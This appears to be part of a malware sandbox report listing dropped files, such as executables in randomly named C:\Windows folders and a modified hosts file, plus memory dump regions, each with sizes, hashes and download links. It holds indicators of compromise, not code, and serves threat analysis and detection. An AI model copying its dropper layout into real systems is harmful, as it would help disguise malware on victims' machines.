219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\qjfklwczb\kawnpq.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\fcbklmeji\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\fcbklmeji\ykckyizic\bbmwcrbuw.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\fcbklmeji\ykckyizic\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
C:\Windows\ptypikwv\iimkcmd.exe

Filesize
7.9MB

MD5
7d884873a40dadd4deea3b6f716c296b

SHA1
06b583bda008ee98e393c222e53f0df36a8c9188

SHA256
ae4ab066671036590c8003c138b0bb2ac25ab74dd12e4287f5d61d5e1bf0f6e8

SHA512
53949e11ba9e378bd2df908868cf0679a3f43bd0ebea0edd6d86c424661e4d5eb32d14167417b0cc161f87ad6bf5e666b22fd3d211553dd7aa6b5770d4efe3f2

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
memory/100-8-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/708-78-0x0000000001180000-0x00000000011CC000-memory.dmp

Filesize
304KB

Download
memory/716-138-0x00007FF7D43F0000-0x00007FF7D44DE000-memory.dmp

Filesize
952KB

Download
memory/716-135-0x00007FF7D43F0000-0x00007FF7D44DE000-memory.dmp

Filesize
952KB

Download
memory/944-172-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/1172-239-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/1456-211-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/1580-255-0x00007FF690270000-0x00007FF690390000-memory.dmp

Filesize
1.1MB

Download
memory/1580-261-0x00007FF690270000-0x00007FF690390000-memory.dmp

Filesize
1.1MB

Download
memory/1580-164-0x00007FF690270000-0x00007FF690390000-memory.dmp

Filesize
1.1MB

Download
memory/1580-262-0x00007FF690270000-0x00007FF690390000-memory.dmp

Filesize
1.1MB

Download
memory/1580-257-0x00007FF690270000-0x00007FF690390000-memory.dmp

Filesize
1.1MB

Download
memory/1580-199-0x00007FF690270000-0x00007FF690390000-memory.dmp

Filesize
1.1MB

Download
memory/1580-259-0x00007FF690270000-0x00007FF690390000-memory.dmp

Filesize
1.1MB

Download
memory/1580-167-0x000001EADB5C0000-0x000001EADB5D0000-memory.dmp

Filesize
64KB

Download
memory/1580-205-0x00007FF690270000-0x00007FF690390000-memory.dmp

Filesize
1.1MB

Download
memory/1580-222-0x00007FF690270000-0x00007FF690390000-memory.dmp

Filesize
1.1MB

Download
memory/1580-250-0x00007FF690270000-0x00007FF690390000-memory.dmp

Filesize
1.1MB

Download
memory/1580-233-0x00007FF690270000-0x00007FF690390000-memory.dmp

Filesize
1.1MB

Download
memory/1580-182-0x00007FF690270000-0x00007FF690390000-memory.dmp

Filesize
1.1MB

Download
memory/1580-215-0x00007FF690270000-0x00007FF690390000-memory.dmp

Filesize
1.1MB

Download
memory/1636-225-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/2280-229-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/2564-193-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/2624-142-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/2624-146-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/2644-207-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/2940-232-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/3060-202-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/3584-180-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/3752-235-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/3904-197-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/3916-220-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/4076-216-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/4208-185-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/4344-249-0x0000000000C90000-0x0000000000CA2000-memory.dmp

Filesize
72KB

Download
memory/4584-0-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/4584-4-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/4840-176-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download
memory/4848-168-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4848-152-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/5100-237-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp

Filesize
364KB

Download